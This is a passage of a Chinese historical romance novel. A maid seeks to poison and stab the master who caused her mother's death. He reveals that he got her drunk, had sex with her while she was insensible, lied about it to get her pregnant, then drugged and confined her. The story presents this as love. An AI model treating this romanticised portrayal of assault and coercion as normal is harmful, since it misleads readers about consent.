芝兰阖眼,将睡未睡时,忽然听得敲门声。 她去开门。来者是清风馆的丫鬟,惜玉。 惜玉跟她也算熟识,并不多寒暄,将两只瓷瓶塞给芝兰,“这是大爷给你拿的药。你今晚摔了,被人又打又踩,身上定然淤青不少。大爷说,这两瓶药消肿化瘀极快,嘱咐你早晚各擦一回。” 药既是窦平彰送来的,芝兰并不肯要,又给惜玉推了回来。 惜玉脸色发难,牵起她的手卖娇:“好妹妹、好妹妹,你就收了罢。你若不收,我还怎么回去交差。”惜玉哭诉罢,凑近芝兰耳边低声,“你要是不喜欢,就偷偷砸了丢了,反正大爷也不知情。” 芝兰忍不住笑出声,点起惜玉额头,“你这么阳奉阴违,也不怕被主子知道了去?” 惜玉打眼波儿,笑道:“你不说,我不说,谁知道呢。” 惜玉离开后,芝兰收了那两瓶药,晾到一边。她再度回床歇息。 夜里芝兰翻了个身,后背有块青肿,疼到躺不平。思来想去,焦躁不安,终究还是爬起身,取了那药涂在身上。 药倒真是好药,一抹白兰淡香,擦在伤处冰凉丝丝。没过一盏茶,青肿就消了。 芝兰懊悔自己不早点涂,还硬生生忍了半个时辰。心想自己真是傻了,反正窦平彰都认定她收,再不涂,不是自己找罪受?芝兰本以为,出了昨夜的事,她又直接拒掉大爷。窦平彰起码会找人来折腾她,逼她求上清风馆。她做好准备,依旧在祠堂做擦扫供奉的活儿,多日过去,仍不见风浪。 这几日很平静,除了红杜三人被发卖,这里又添进三个丫头后,祠堂再没来过外人。昌叔得知此事,也遣人送来不少伤药。有了昌叔的药,芝兰便不再用窦平彰的。没了红杜,芝兰在祠堂的日子要比以前好过不少。 红杜是一等丫鬟,以前芝兰的活都由她指派。如今此人一走,换了新的一等丫鬟红梅来。 不知红梅是不是得窦平彰嘱咐,竟对芝兰照拂不少。她知道芝兰畏寒体弱,便将这些大活交给年轻力壮的家丁做。看芝兰清扫累着,红梅还会主动帮忙。要知道,从前红杜在时,分给芝兰都是男人要做的活儿。 不管怎么说,芝兰都要感谢红梅。可对于芝兰屡次的感恩,红梅只笑道:“帮你的不是我,而另有其人。” 另有其人?芝兰能猜到,这个人是谁。 正月十五的雪夜,正值元宵。几个丫头相伴吃酒去了,只有芝兰还留在祠堂。 其实红梅邀过她,可她不喜热熏熏的酒味,便也拒了。 芝兰扫完祠堂出来,正见夜色轻盈,天边一轮清辉圆月。 不远处庖房灯明,一屋仆婢聚众,飘来炊烟酒食香。 悠扬的谈笑声,让她神思恍惚,想到了曾经的的梨香院……去扬州的路很长,妖姑娘此时还在山高水远之地,风雪兼程,不知过得是否安然呢?“你怎么不跟他们一块吃酒耍乐?” 一道声音将芝兰的神魂牵回。 她提灯照去,前方走来的人鹤氅棕衫,身形微长,正是窦平彰。 她的心猛然一提,抓紧灯柄,死死瞪紧他。 窦平彰怪道:“你回回见到爷如此,是怕我?厌我?还是旁的?” 说完他却忍不住笑出声,“爷不过跟窦妹提过一嘴想要你,竟把你吓到至今。你这么不经吓,怎么能来家里做丫鬟,该做身娇肉贵的闺阁姑娘才是。”芝兰听得脸青白,以为他在讽。 她垂下眼,转身欲走,窦平彰却从后头追来。手腕被他抓上的那刻,芝兰悔恨:今日出门时怎不给身上揣把刀?这样就能随时捅他了! 芝兰想甩开,窦平彰却没放。不仅不放,倒有点赔笑脸的意思,“你别气,爷没旁的意思,这不跟你说笑嘛。” 窦平彰一脸认真,另外补充道,“真的,爷真觉得,你这样的人就不该生个丫鬟身。你信不信,爷觉得,你将来必有大富大贵的命!”窦平彰的兴致尽在说话上,没有防备,任由芝兰抽出手。 芝兰退后两步,本能见他就作呕,只想离他远些。理智上又告诉自己,太远就不能扳倒此人。她要怎么才能取他性命呢? 下毒吗? 可她先前就下过,照理来说,窦平彰也怀疑上了。 再下一回还能不能成? 就当芝兰寻思之际,手里忽然被塞来热乎乎的食盒。思路被打断,她一时错愕,看向窦平彰。 “今儿过节,我便料你不会和她们相聚用膳。这是浮元子,芝麻馅的…嗯…嗯……”他微窘,摸向后脑勺笑道:“爷亲手煮的,你要吃掉。” 芝兰递回去:“奴不要。” 窦平彰又推回来:“你敢不听爷的话?小心爷罚你板子!” 芝兰心想此人还真是可恨,幸好他不学无术,功不成名不就。否则这种人要是做官,岂不徇私枉法,滥用职权,天底下将多出多少冤案?她收回食盒,抱在怀里。又想起一出计谋—— 自从决心要杀窦平彰时,屋里便一直备着毒。只是离开梨香院,她还找不到时机把毒下给他。 芝兰已经想好了:捅人,这个法子最险,凭她的力道不仅捅不死,还会被反杀。自己死也就算了,爹爹早亡阿娘离世,她也没多想活着。但不能她死了,窦平彰却活着,偷鸡不成蚀把米! 芝兰想了想,勉为其难对窦平彰露出个笑容。 只是她头一回对他笑,还怪不适应的。但芝兰别无选择。 “大爷多次相救,奴感激万分。大爷若不嫌弃,不如与奴同回罩房,我们一块吃浮元?” 芝兰垂着头,声也糯糯的。 窦平彰只能看见月色下,她柔软的鬓发,极雪白的额头。 窦平彰心想,还真是个蠢女人。三番两次要毒他,真当他看不出来?就算想谋害性命,手段也不高明。这样蠢的丫头,又胆小,他那个妹妹怎么会收? 他虽如此想,却被那轻柔的声音迷了心魂。 天知道,这是他头回追女人,还上赶着煮浮元。窦平彰真觉自己莫不是中了什么咒,以前他想要时,什么女人没有?单论清风馆,就有多少丫鬟想爬他的床?可现在,他却只想让这个看不上自己的丫头折在手中。 论姿色,芝兰绝对是窦平彰见过的女子中,上上乘。 尽管他不喜欢窦妹,但不得不承认妹妹的确是少见的美人坯,否则窦平宴也不至于迷成这样。至于芝兰,虽是个丫鬟…窦平彰得意地想,这容貌一点也不逊于妹妹。 窦平彰点点头,轻快应了芝兰。跟着芝兰走,回到她住的后罩房。 祠堂做活的丫鬟少,后罩房也空,一人一屋。芝兰住的屋子很简朴,除了床榻和粗木制的妆台,只有一张方木四角桌,两条长凳。 下人的屋子窦平彰自然见过,但芝兰这屋太过简陋。连一只装点的花瓶也无,除了木头,没有半点颜色。桌上也只有一壶茶,和四只瓷盏。 窦平彰略震撼地坐下,四处瞧瞧。不由蹙眉:“管事的都苛待你吗?” 芝兰即便很不想与他搭话,但窦平彰到底是主子,能轻易处罚人。昌叔受姑娘之托,已经很在照拂了。她不想给昌叔招罪,便说没有,“他们有送东西来,是奴自己不要。奴觉得那些好看却无用,只想换点能安生的钱。” “你缺钱找我就是,何必苛待自己?”窦平彰手指敲桌,还是不满。 芝兰寻思他肯定又要说,叫你跟爷又不愿。跟着爷吃香喝辣,什么好东西没有? 她瞥了窦平彰一眼,不愿多说,只将食盒掀开。 打开,是一大青瓷盖碗,足足有她吃粥碗的四只大。 芝兰绕到床后,取分食的两只碗。趁着窦平彰打量妆台之际,她将抹毒的指甲盖往碗心一擦,捻了又捻。好在这毒细如白粉,碗心又是白瓷的,不易被察觉。 抹好毒后,芝兰拿着两只空碗出来。 一只有毒的递给窦平彰,一只没毒的留给自己。 窦平彰拿起空碗,好奇看了看,倒是没有察出什么。 反而笑道:“你这碗拿来待客不好,什么花样都没,太过朴素,回去我再叫惜玉给你拿套好的。不过现在没碗,也便将就吃吧。” 芝兰闻言看他。 许是因为他放心,也随之将死。对于将死之人,她能心善不少,竟朝窦平彰露出浅淡的笑容。 这回没有勉强,是她真心的笑。也是最后的善意。 清艳,明媚,宛若曦光。这样的笑容,看得窦平彰微微一愣。 最后,芝兰端起大盖碗,将浮元子和汤,分别倒入两人的碗中。 小心的把那碗捧给他:“盛好了,大爷与奴一块吃吧。” 91、【番3】芝兰X窦平彰 窦平彰的汤匕在碗里舀了舀,却没动。忽而抬眼看她:“你先尝一口我碗里的,若没毒,我们再一块吃。” "大爷信不过奴吗?"芝兰轻轻地问。 为了他死,芝兰宁愿先走一步。她笑了笑,窦平彰根本不知道她已经抛之生死了! 下一步,芝兰就像无事人,接过他手里的汤匕。 就在她要以身作则时,手突然被窦平彰一握。 芝兰顿住,撞见他幽幽的眸光,宛若深潭。她的手不可抑地抖动,既舀不了,也脱不出掌心。不过须臾,那人叹气:“罢了,别吃了。” 他猜到,知道了! 芝兰猛然收回手,后退三步,死死盯着他。她心里很紧张,不知该和他殊死相拼,还是等待处置。 从前若有人想谋他的命,窦平彰一定会恼得把人大卸八块。可芝兰的心思他早就猜到,心里不仅没多少怒气,还更沉静了。 她在紧张,颤巍,不知所措,却没来由勾出他心怜,“你不在乎自己的死,我却在乎,我不想你死。” 窦平彰牵了牵唇,勉强地笑,“你杀人的法子并不高明,破绽百出,不如我教你招更好的?你做我的妾室,入我房中。日夜都在一块,多的是时机杀我,譬如睡梦中捅死我,要是不敢动刀子,还能饭菜下毒……不知这种主意,你意下如何?" 芝兰不料他竟会如此说。一时惊愕,咬唇垂眸。 窦平彰从桌边站起,走向她,一步步靠近。却在两步远处驻足停下,“想杀我,你只有这种办法,否则一辈子都杀不死我。你仔细想想吧,我在清风馆等你上门。”窦平彰说完就离开,并不拖泥带水。 走出罩房,冷风吹面。 疯了,疯了,他觉得自己真是疯了,竟会迫不及待等人来杀他。这是吃饱撑着,游戏够人间,就想寻死玩玩吗? 窦平彰摇头长笑,只笑自己失心疯。 窦平彰的提议,芝兰自是不听的。不仅不听,她还作呕。要她伺候他,承欢床闱,做梦去吧!这么恶心的事,她要做了,将来还怎么去天上见阿娘! 可是,他的提议却不无道理。芝兰发觉,自己被困在祠堂,还真没有更好的法子能取他性命。这该怎么办呢? 这一夜,她失眠没有睡着。 后来,芝兰又在祠堂待了数月。 从冬雪到春来,柳枝都抽出新芽,可她的谋杀却一无所展。 窦平彰偶尔会借祭拜的由头,来祠堂看她。 或是看她扫地,或是看她和几个丫鬟擦牌位,摆贡品。偶尔与她对视,目光擦过,即便一句话不曾说,窦平彰却觉好像交谈几许,满足很多。 这样的时日很久、很漫长,长到一年过去,他院里的藤娘都已经把孩子生出了。 这是他的第一个孩子,是儿子。 也是窦洪的长孙。窦洪很欢喜,赏赐藤娘许多首饰布帛,又指了三个伶俐丫头去伺候藤娘月内。 窦平彰喜得麟儿很高兴。他很想将这份喜悦分享芝兰,兴冲冲走到祠堂门口时,却不忍打住主意。 不对,不能说,芝兰又不喜欢他,怎会为他高兴呢?况且就算喜欢,没有哪个女人会怜爱对头孩子的。 窦平彰作罢,停在院门前,原本喜悦的心蒙上一抹淡淡的失落。他想不明白自己为何会失落?以前有下人胆敢忤逆,他会发恼,再直接把人发卖。 可芝兰也不过是个丫鬟,窦妖在时,他卖不了。窦妖走了,他怎么也不敢动手? 腊月天寒,又开始下纷纷扬扬的雪。窦平彰仰面接了会儿,任由鹅雪飘落面额。这是他头一回尝到,原来世上有种苦叫相思,爱无能,求不得。 这趟终究是白走了。 窦平彰转身,正要离开之时,突然听到身后的声音,"大爷?" 这道声音软糯柔婉,听得少却熟悉,在他睡梦中频频出现。他喜不胜收地转身,果然看见芝兰提灯站在院门口,似是准备关门了。 窦平彰太过高兴,刚要开口却呛住,不由咳了两声。他挥挥脸上的雪,即便不用说话,光看见人就很愉悦了。 这段时日,芝兰也有很久没看见他。 她一直没想到更好的法子杀他。思来想去,最后的主意却留在他的提议上….… 做妾就能更好的近身,也能动刀子。可她就是过不了心里那关…… 芝兰原本打的主意是,多看他几回。诚心而论,窦平彰长的并不差,若是多看几眼,会不会恶心减弱,能慢慢接受他的提议?毕竟杀了他,才是她一定要做的事! 可是待她生出这种心思,窦平彰却有一个月没来了。 偶然干活时,芝兰听几个小丫头提到“清风馆的藤娘生了,是个儿子”,她便大致猜到,原来他最近不过来,乃是忙藤娘的事。 但是今晚,出乎意料在门口看见他。更没想到,他会过门而不入。 芝兰打量他这副喜悦的神色,“大爷过来,是有事吗?” 她难得会这样主动问。窦平彰笑着点点头,“是有件喜事,想与你说……” 话没出口,又被他打住了。 这件事是他的喜事,却不见得她会高兴。今日难得她给好脸色,愿意主动问……窦平彰不想浪费这等时机。见她神色稍缓,好像在等待。窦平彰脑子迅速转动,又重新想到了一件事—— “对,有件喜事,你会高兴的。”他牵唇笑,“我妹妹要回家了,你不久就能见到她。” 他妹妹?妖姑娘么… 芝兰眸光跳跃,眉开眼笑。真以为一辈子要见不到姑娘了,没想到她要回来!姑娘回来,梨香院也要回来了,她们又能重聚一块了!可芝兰高兴没多久,却又想到难过的事。自己已打定主意要杀窦平彰,注定和姑娘聚不了多久。姑娘待她是很好,可她身上背负阿娘的死,缘分也要止步于此了。芝兰的眸光又恢复淡淡,与雪色融在一块。她朝窦平彰道:“谢大爷告知,奴很欢喜。” “你欢喜?”窦平彰奇怪,"可你现在瞧起来,却有点伤心?这是为何。" 芝兰并不搭理他的话。 先在心头纠结了会儿,咬咬牙,终是决心落定道:"大爷很早前说的事,奴已经想好了。奴愿意去清风馆伺候大爷,不过得等姑娘回来,容奴与她告别一阵。" 都在一个家,还告什么别?窦平彰只觉好笑,但芝兰的愿意,却冲走他很多顾念。 那些细小、零杂的事一下被冲走,巨大的欢喜涌过心头,不断在脑子里叫嚣,她愿意了,她愿意了,她终于愿意了…… 他就赌她会愿意,只是这句愿意,他等了太久。久到他几乎要放弃,也忘记了,只想着做那“牛郎织女”,偶尔祠堂看看人。 但是她说什么来着?哦,要等姑娘回来!这便意味着,他得找窦妖要人!但是窦妖……窦平彰想起他这妹妹是个麻烦精,倔脾气,万一不肯放呢?算了!管她呢!人芝兰都愿意了,她不愿意又如何,他直接抢来就是! 窦平彰一个劲儿地点头,嘴角抑不住笑。回想藤娘生产,母子平安时,他何曾这样笑过,只有一种踏踏实实的平安。那时的他很欣慰,很感激藤娘……但今日这刻的激动,与那时是断断不同的。窦平彰开始期待的等。 原先他真不喜欢窦妖,这回却为了芝兰,竟期待等她回家。 终于,他等到了。 窦妹回来后,芝兰在梨香院待了一月。这个月他虽然见不到芝兰,却一点也不难过,反而隐隐有种期待。因为他知道,很快他们就能在一块了。 直到正月初二,窦妖生辰那日,窦平彰携礼登门了。 他向妹妹讨要芝兰。 来之前,他已做好要历经千辛的准备 ——不管窦妖提什么条件,他都会应下。实在不行,他就硬抢,毕竟芝兰都答应要跟他了! 不曾料到,这回窦妖竟轻易答应了,且放人很快! 窦平彰万分喜悦,几乎要跳起来。十几年一个屋檐都没看顺眼的妹妹,竟在今朝看顺眼了!他开心地拉过芝兰,带她离开梨香院。 芝兰来到清风馆后,为了不让她与藤娘起争执,窦平彰让两人居室离得很远。争执…芝兰定然不会跟人吵的。但是藤娘…窦平彰叹口气,藤娘虽美,却有点挠人小性子。 为了不让藤娘去找芝兰麻烦,窦平彰特特去店铺,买了很多别致的金钗银环送藤娘。好话说过,硬话也说过,总结就是一句——爷如今喜欢她,你别去找她麻烦。你就安生待着,咱们还如从前,爷依旧疼你和孩子。 藤娘收了首饰,虽没说什么,但瞧着却不高兴。 收芝兰入房的头夜,窦平彰不知为什么,并没有要她。 他只让芝兰换了身喜服,坐在床头。而他则去弄来些吃食,让她填饱肚子。 今夜他让庖房做了十几种山珍海味,都端给芝兰吃。 看她身穿如火嫁衣,满头华冠流珠,就这样坐在桌边用膳,窦平彰很欢喜,淡然的满足。 他想,她吃饭的模样可真好看,有条不紊,粉唇上下动着。她先前过得苦,人也瘦。今晚他抱起她时,一把骨头,轻得让他一愣。 此刻他不想那些花好月圆的欢爱,只想她多吃些,吃遍天下所有佳肴。 当然,芝兰哪知道窦平彰是在想这些。 她盯着一桌子的饭菜,尝完一桌,又换了新一桌。 偏他也不吃,只坐在对面看着。芝兰不懂这葫芦里到底卖什么药? 不过这一顿,的确是她吃过最好的一回。十几盘菜,什么紫苏鱼,金丝肚羹,龙凤腿,富春酒,蟹肉饺,糖酪糕……有些听都没听过。 如此烹香之菜,是人都忍不住。 芝兰想好了,就算上黄泉,也得做个饱死鬼,好歹享过口福。 她不停地吃,吃累了便歇一会儿,喝喝茶。马上又有新的几盘菜上桌,芝兰再夹再吃,累了又开始新一轮歇息……… 于是,就这样折腾到大半夜。 而窦平彰,就这样陪她坐到大半夜…… 等到芝兰吃困了,眼皮耷拉。将睡未睡时,忽然,她被人从椅里抱了起来。 她知道,是他。 心头登时警觉,握紧袖中那把匕首。就等着他把自己放到床上,两人亲热之时,用这只磨好的匕首,狠狠穿透他胸膛! 92、【番4】芝兰X窦平彰 就如芝兰所料,自己被他轻轻搁在了榻上。 他去外间脱衣、灭灯。 不久后,芝兰听到床幔撩动的声音,知道是他进来了。 她闭眼静静等待,好半晌过去,都没有动静。 芝兰疑惑地睁开眼——却见他身穿里衣,坐在床边。一直在望她,眸光少见的柔软。 两人视线相遇,芝兰不适地撇开头。窦平彰见她别扭的模样,不忍笑了:“原来你还没有睡啊?” 芝兰抿唇,握紧袖里的匕首。 窦平彰以为她只是紧张,提起案边的酒最了口。 再度望向她,一笑:“你别怕,今夜我并不是很想做那事,只想与你说说话罢了。” 他撑着手臂靠近她,“你说我们认识这么久,也没能好好坐下说一会儿。今晚倒是个好时候呢?” 说话? 芝兰不懂,他葫芦里又在卖什么药?明明之前,贪图美色的是他,想要她的也是他。今日人到手了,他却只想说话? 她觉得很怪,太怪了,让她手里的匕首没有落脚之处。 “你不信我的话么?” 窦平彰笑了下,两臂后撑叹气,“别说你不信,就连我自己都不信。可爷今晚上,是真只想跟你好好说话。” 猝不及防,窦平彰摸黑而来,亲了亲她的脸。就在芝兰惊愕之际,袖里的匕首已被他抽出,抛到床头的桌案上。窦平彰躺平抱着她,轻问:“刀子都握一天了,手不麻吗?”他握上芝兰的手心揉了揉,又说:“我知道你想杀我,但咱们不急于今夜。动手前也别让我发觉,否则你是杀不死我的。明白么?”芝兰感觉自己从一个坑跳出,又跌进另个坑中。她眼黑如墨,不动声色地问:“那我若趁你不备,捅你刀子呢?” 窦平彰笑:“你做不到的,我有警惕。” 听这话,芝兰从坑摔落谷底,失落大把。她盯向窦平彰,开始冷笑:"那我做你的妾室有何用?" 窦平彰人一愣,头回见到她这样的质问。 她会质问,竟会质问…他不仅不生气,还觉得可心,像只挠人的小猫。他望向怀里的人,认真否定:“有用,怎么没有用?做我妾室,就有更多时机杀我了。你要是有点手段,几日结束都说不定。你说呢,卿卿?" 芝兰简直要呕了,干脆堵住耳朵不再听。没想到这窦平彰却烦的很,又把她的手给拉开,露出两只小小的、雪白圆耳。他很强硬,非要芝兰今晚听他说话。 这人说什么呢?说他的过往。芝兰对他的过往不好奇,只觉干燥又无趣。 他说起自己小时候如何顽劣,又如何被父亲责罚。纵观这个家中,云娇有同胞妹妹,云筝还有亲弟弟平琦做伴,就连窦妖,都有窦平宴珍重。而他,却没有很亲近,情深义重的手足。 窦平彰提起时有些惆怅。但他很快撇清这抹愁绪,神色倨傲—— 这又怎么样呢? 窦平彰不屑抬起下巴,反正他也不喜欢他们。 所以十几岁的时候,他爱和外面那帮浪荡子玩,吃酒耍乐。窦洪发火,痛下好几棍,打得窦平彰险去半条命,指骂这些都是酒肉朋友。但窦平彰却觉得,起码他们把他当朋友了。他也因此找到个心安慰藉处…… 芝兰在他絮絮叨叨的闲聊里睡着了。 望向她沉静睡颜,窦平彰心笑,轻轻帮人掖好被褥。 其实有一点,他还没来得及告诉她——那就是每次看见芝兰,他都会觉得心安。这种感觉从何时起? 大抵是她进祠堂的那几个月。 起初见她被人欺负,窦平彰只站在暗处旁观,并没有出手。那时候他想,只有让她受尽苦楚,才懂得来清风馆找他,求他给她好日子过。 可是芝兰,像棵烧不尽的野草。旁人骂她,打她,却从来没让她挫败过。夜屋灯亮起,窗边总能窥见她坚韧上药的影子。上好了药,她会趁着夜深偷偷去开那些人的窗子,放蚊虫咬她们。 窦平彰想笑,真不知笑她没志气,还是心太好。就连报复人,竟也做不出太坏的事。 不过有一点倒是真的,红杜那些丫鬟再怎么磋磨她,第二日她总能涂好药,又咬牙去干活了。 再后来,窦平彰终于看不下去,没忍住出手帮了她。 芝兰这样的坚韧,叫他心生敬佩。 因为他就没有这样坚韧过。他不学无术,科举落榜,遭父亲冷眼。原本父亲就疼爱二弟、三弟更多些,窦平彰真不知自己的存在有何意义?有段时日他很消沉,跑去勾栏买醉,流连秦楼楚馆。左手拉美人,右手抱娇娘,酩酊大醉……仿佛只有这样,他才能忘记一切的不快。 窦平彰怅然,也不知自己在叹什么。 可是将芝兰搂在怀中的那刻,他却心安起来,不久后也跟她一块睡着了。 接下来在清风馆的几天,芝兰过得还算安然。 不仅安然,还翻天覆地。 以前她哪有被人伺候过,起初窦平彰指来小丫鬟为她沐浴、用膳、梳妆时,她还万般不适,把人都挥走了。 窦平彰抱臂在一旁看着。 见他的唇动了动,芝兰以为,他要骂她不知好歹。 果然下一刻,窦平彰便挑眉:“你这人,不要她们伺候,难道要爷亲手伺候不成?” “奴不敢。”芝兰对镜梳发,头都没回。 他径直走来,如泰山般站到身后。芝兰心一跳,回想自己刚才语气不妥,他不会要打人了吧? 芝兰下意识腾起,却被他双手按住,坐回凳上。窦平彰拾起她肩上秀发,悠悠道:“你若对爷说点好听的,让爷伺候也不是不行……” 芝兰回头,错愕地望他。只见他笑得正愉快,不像说假。 窦平彰待她,可以说很好了。 衣食住行,没有一样短缺她的。只是有一事,却让芝兰愁烦不已——她要怎么,才能杀了窦平彰? 她试过,给他的饭菜下毒。 五天内,她已经变着花样下过四次,可每一次,都被他识破倒掉了。 窦平彰很喜欢跟她坐在一块用膳,也喜欢跟她絮絮叨叨吐着话。有一回说累了,便靠在椅背睨她:"别光爷说,你也跟爷说些啊。跟爷说说你以前过得什么日子?"芝兰本是懒得跟他说话,但提到这个,芝兰冷笑,蠢蠢欲动了。 她很平淡地跟窦平彰讲完自己前十几年快活的日子,到后面进入窦家做丫鬟,一切都变了。窦平彰喝一口酒,看她:“你以前过得那么舒服,为何要来窦府?” "为何要来窦府?" 芝兰慢悠悠冷笑:“大爷您真是贵人多忘事,您忘记我娘是谁了吗?我来窦府,不就是要杀你?是你害得我没有阿娘,没有家了。” 他有一瞬的怔仲。 是啊,吃醉忘记这茬了。芝兰来窦家,是要杀他的,因为他逼死了她的娘。 她说她没有家了,窦平彰很想告诉她,以后清风馆就是她的家,她能在清风馆安然过一辈子。可这样的话他不敢说,他知道她不情愿,说了一定会生气。 窦平彰默默,握起一壶酒痛饮。 淡黄的烛光打在脸上,愁肠百结。他觉得眼前就有一片黄江,他就是跳进,也洗不清。不是洗不清冤屈,而是洗不净他的罪。 "大爷,奴能问您件事么?" 窦平彰放下酒壶,颔首。 芝兰坐在旁边的椅上,侧头盯紧他:“你为何要逼死我阿娘?这件事,奴困惑很久了。” “因为她不死,我就没有活路。” 窦平彰说,"那时姨娘逃跑,偷汉之事也被家中知晓。我害怕自己并非窦家血脉,会一无所有,被父亲打死。而庄婆子正是姨娘的心腹,她知晓姨娘诸多底细,必会被父亲和大娘子叫去盘问。为了她不多说、说漏嘴,我只能许她好处,斩草除根。我信不过任何人,只信死人的嘴巴能守住。” 亲耳听见他说起阿娘,芝兰心火上涌,轰得一声拍桌站起:“可当初马姨娘只带姑娘走,你就该知道,你和她不同!你要不是窦氏血脉,她怎么可能不把你一块带走!你只要想一想,就不至于逼死我阿娘了!" “怎么不会?” 窦平彰淡淡看她:“姨娘疼窦妖,远胜过疼我。窦妖是她的命根子,当然会被带走避难了,而我……”窦平彰猛灌一口酒,笑音发颤:"我又算什么呢?"“但爷不在意,爷根本不在意!"他发笑,直到泪出:“爷根本瞧不上她们…” 后面他开始说胡话了,满屋子酒味。熏得芝兰蹙眉,捏鼻子出去。 窦平彰…她一定要杀了他,替阿娘报仇!……窦平彰不是个好人。但芝兰发现,他却是个好丈夫、好父亲。窦平彰原有一房妾室,叫藤娘。即便娶芝兰入门,新人在侧,他也没将藤娘和孩子抛之脑后。 他常常会问丫鬟,藤娘近日缺些什么,喜欢些什么,都嘱咐下人们好好去备。还有孩子的乳母,会被他找去仔细问话。 除了有一点——芝兰察觉到,自从自己嫁进来,他便一直睡在她那儿,再没去过藤娘屋里。 但窦平彰睡,也就纯粹搂她睡觉。没碰她,因为芝兰不愿意。 是的,她还恨他,想杀他。 窦平彰只在芝兰屋里夜宿的这件事,很快引起藤娘的不满。窦平彰不在家时,藤娘会忘记他的叮嘱,忍不住找起芝兰麻烦。 但藤娘的麻烦,也不算太麻烦。 比起从前祠堂的红杜,起码藤娘不会打她。只是偶尔骂骂狐狸精,再往她门前泼盆脏水。自然,这些鸡毛蒜皮的小事,芝兰没放在心上。 直到有一回,她和藤娘都在莲花池边。当日藤娘吃了酒,头晕脑胀,对芝兰发起火。一个不慎,竟把人凶猛推搡。 芝兰没站稳,跌进莲花池中。 好在入夏,池水还不算太冷。旁边都有丫鬟在,很快把人救上来,芝兰只是呛了几口水。窦平彰在外面听闻此事,匆匆赶回,还一并带来郎中。即便芝兰坚持没什么伤,他却不放心,仍叫郎中看。诊完脉后,郎中的脸上浮出笑意:“脉象平稳,倒是无碍。不过,还有件喜事——”郎中说着便站起,朝发懵的两人拱手而笑:“二位大喜,大喜啊!您这腹中,已有一个月的身孕了!” 身孕??身孕?! 芝兰如遭雷劈,突然一扑,抓住郎中的衣袖:“你说谎!是不是诊错了!身孕?我怎么可能有身孕呢!” 郎中只当她有孕太过心切,微笑道:“您放心,老朽这么多年行医看病,不会诊错的!您这脉象,的确是有孕之兆。” 芝兰还想跳起来抓郎中,却被窦平彰紧紧拦住。看起来他很兴奋,手都在抖:“咱们有孩子了,有孩子了… 有孩子了,怎么会有孩子呢!明明从未和他…… 不对。芝兰突然崩溃地想起,好像有过那么一次。有一回他唬她喝酒,喝醉了,后来的事芝兰再也不记得。只知道醒来衣裳虽都还在,但腰和腿却酸疼。那是她也怕是发生了,紧张检查过床铺和被褥,并没有落红。 她不安,还问过窦平彰,他也说没有,“昨夜你醉了,我只是抱你回床而已。进门两个月以来,我都没碰过你,便是为了你情愿,更不至于这时候碰你。” 芝兰觉得有理,并没有怀疑他。 但是如今…… 他骗她了!他竟然骗她了! 芝兰崩溃的不能接受,想向郎中求药流掉。却被窦平彰死死拦截,禁锢在怀中。他朝郎中挥挥手,郎中很快提着药箱溜走了。 芝兰再也忍不住,顾不上许多。 她恨,恨死了,恨得一双血目盯死窦平彰:“你为什么要这样恶心我,你明知道我要给阿娘报仇,我恨你!你以为,你不给药我就流不掉吗?我告诉你,孩子在我腹中,怎么没有还是我说了算!" “芝兰,芝兰……”窦平彰抱紧她,不停在耳边低唤。她却一点听不进去,发疯似的直喃喃,要流了孩子,一定要流了孩子……她的话像一把刀,对他凌迟处死。窦平彰疼得心如刀绞,差点一口血涌出。 他做那一晚的同时,就是为了今朝,她能怀上孩子。也想好,倘若一次中不了,就再计划第二回,第三回……没想到上天这么顾念他,竟让他头回就有了。窦平彰既心痛又欣慰。 他本想着,若是有了孩子,芝兰能不能执念稍解,留在身边一辈子呢?可现在的情形,她竟会如此抗拒,如此想杀掉他们的孩子!原来她对他的恨,一点都没有减弱。 芝兰太过激烈,在怀中又哭又闹。窦平彰生怕她惊着胎儿,只好让下人弄来一块浸泡迷香的手绢,把人捂晕。 …… 芝兰昏迷过去。 她被关在屋子待了三日。 窦平彰为了防止她伤害孩子,打发两个婆子看住她。每当她要捶打腹部,或是有什么剧烈举动时,这两人便死死按住她。 窦平彰知道芝兰一看见自己,火气就更甚。为了不让她生气,他索性不再出面。东西都让下人来送,话也让别人带。 一日三餐照常有。 送来的饭菜比原来还要丰盛,除了有她喜欢吃的外,还多了几道养胎补气的药膳。 芝兰干脆不吃不喝,也要这腹中的孽障饿死流掉。 起先,两个婆子还会强行给她喂饭。 可这样喂下去终究不是办法。其中一个婆子便找上窦平彰,叹道:“姨娘也是真心狠,吃了又吐掉,老奴们照大爷的吩咐,就算强喂,也进食不了多少!长此下去,大人和孩子都要受不住的。胎里不足,以后很容易生不出来,一尸两命。您看,这可还有更好的法子……?" 窦平彰眸光倏而黯淡,陷入沉思。 日子一天天过去。原先刚嫁过来,好吃好喝,芝兰好不容易丰腴了些。如今因为胎儿,眼见又瘦了不少。这让窦平彰很是焦虑。 后来的一日,芝兰睡醒,竟发现周围一切装点都不一样了。 大红的帷幔,连垫絮、被褥也是大红的,这让她有些不适应。窦平彰喜欢鹅黄,原来的帷幔都是鹅黄纱。现在怎么变成大红了? 这是梦吗? 芝兰迷糊,撩开下榻。屋子里外,处处张灯结彩,布置成新婚的模样。外间正堂的漆花墙面,竟还贴着两张大大的喜! 她一下愣住,用力掐了把手臂,很疼。原来不是梦。 门在这时推开,窦平彰走进。 芝兰眼中的茫然立刻消散,敌意弥漫,整个人紧张待战。 窦平彰瞧她这戒备的模样,像只小鹿。他微微一笑,什么也没说,走过来就将人打横抱起。不顾芝兰的挣扎,将人抱到床沿放下。 窦平彰开始脱她的鞋,芝兰抗拒,不停拍打他的手。 他也不嫌疼,很固执把鞋褪下,露出一双极白无瑕的足。他满意地扫过一眼,叹笑:“我如今看过,也算你的夫君了。” “你想做什么?”芝兰有些不适,匆匆把双足收入被褥中。 窦平彰微微弯腰,擦过她耳边鬓发,从软枕下摸出一只匕首。 他把匕首揣在手心打量。 这只匕首,他见过太多回了,每一个夜里她想趁着熟睡杀他,用的都是这把。但芝兰毕竟是个不懂皮毛功夫的小女子,自然回回刺杀都没成。 今早趁着她还在睡觉,窦平彰特地把这只匕首取来,磨的更锋利些。 他盯住匕首看了会儿,最终把它交入芝兰手中。 芝兰惊愕,又恐又惧,不懂他要做什么。 突然,窦平彰凑来亲她的脸。接着按住她肩膀,双双倒入榻中。他的吻不停落在额头、眉眼、两腮,亲得芝兰心烦意乱,恨意屈辱肆生。 她握紧刀子,徐徐抵向他的胸口。 这样的事她做过很多回,但都失败了。不知为何,冥冥之中,她总觉得今日一定能成! 果然,窦平彰亲得正忘我,没有阻拦。芝兰摸准他胸口正心的位置。正要往里一捅,突然被他攥住了手。 匕尖离他的胸膛不过分毫,十分危险,她额角突突地跳,后背紧张的渗汗。 大红的床幔,透进朦胧光。 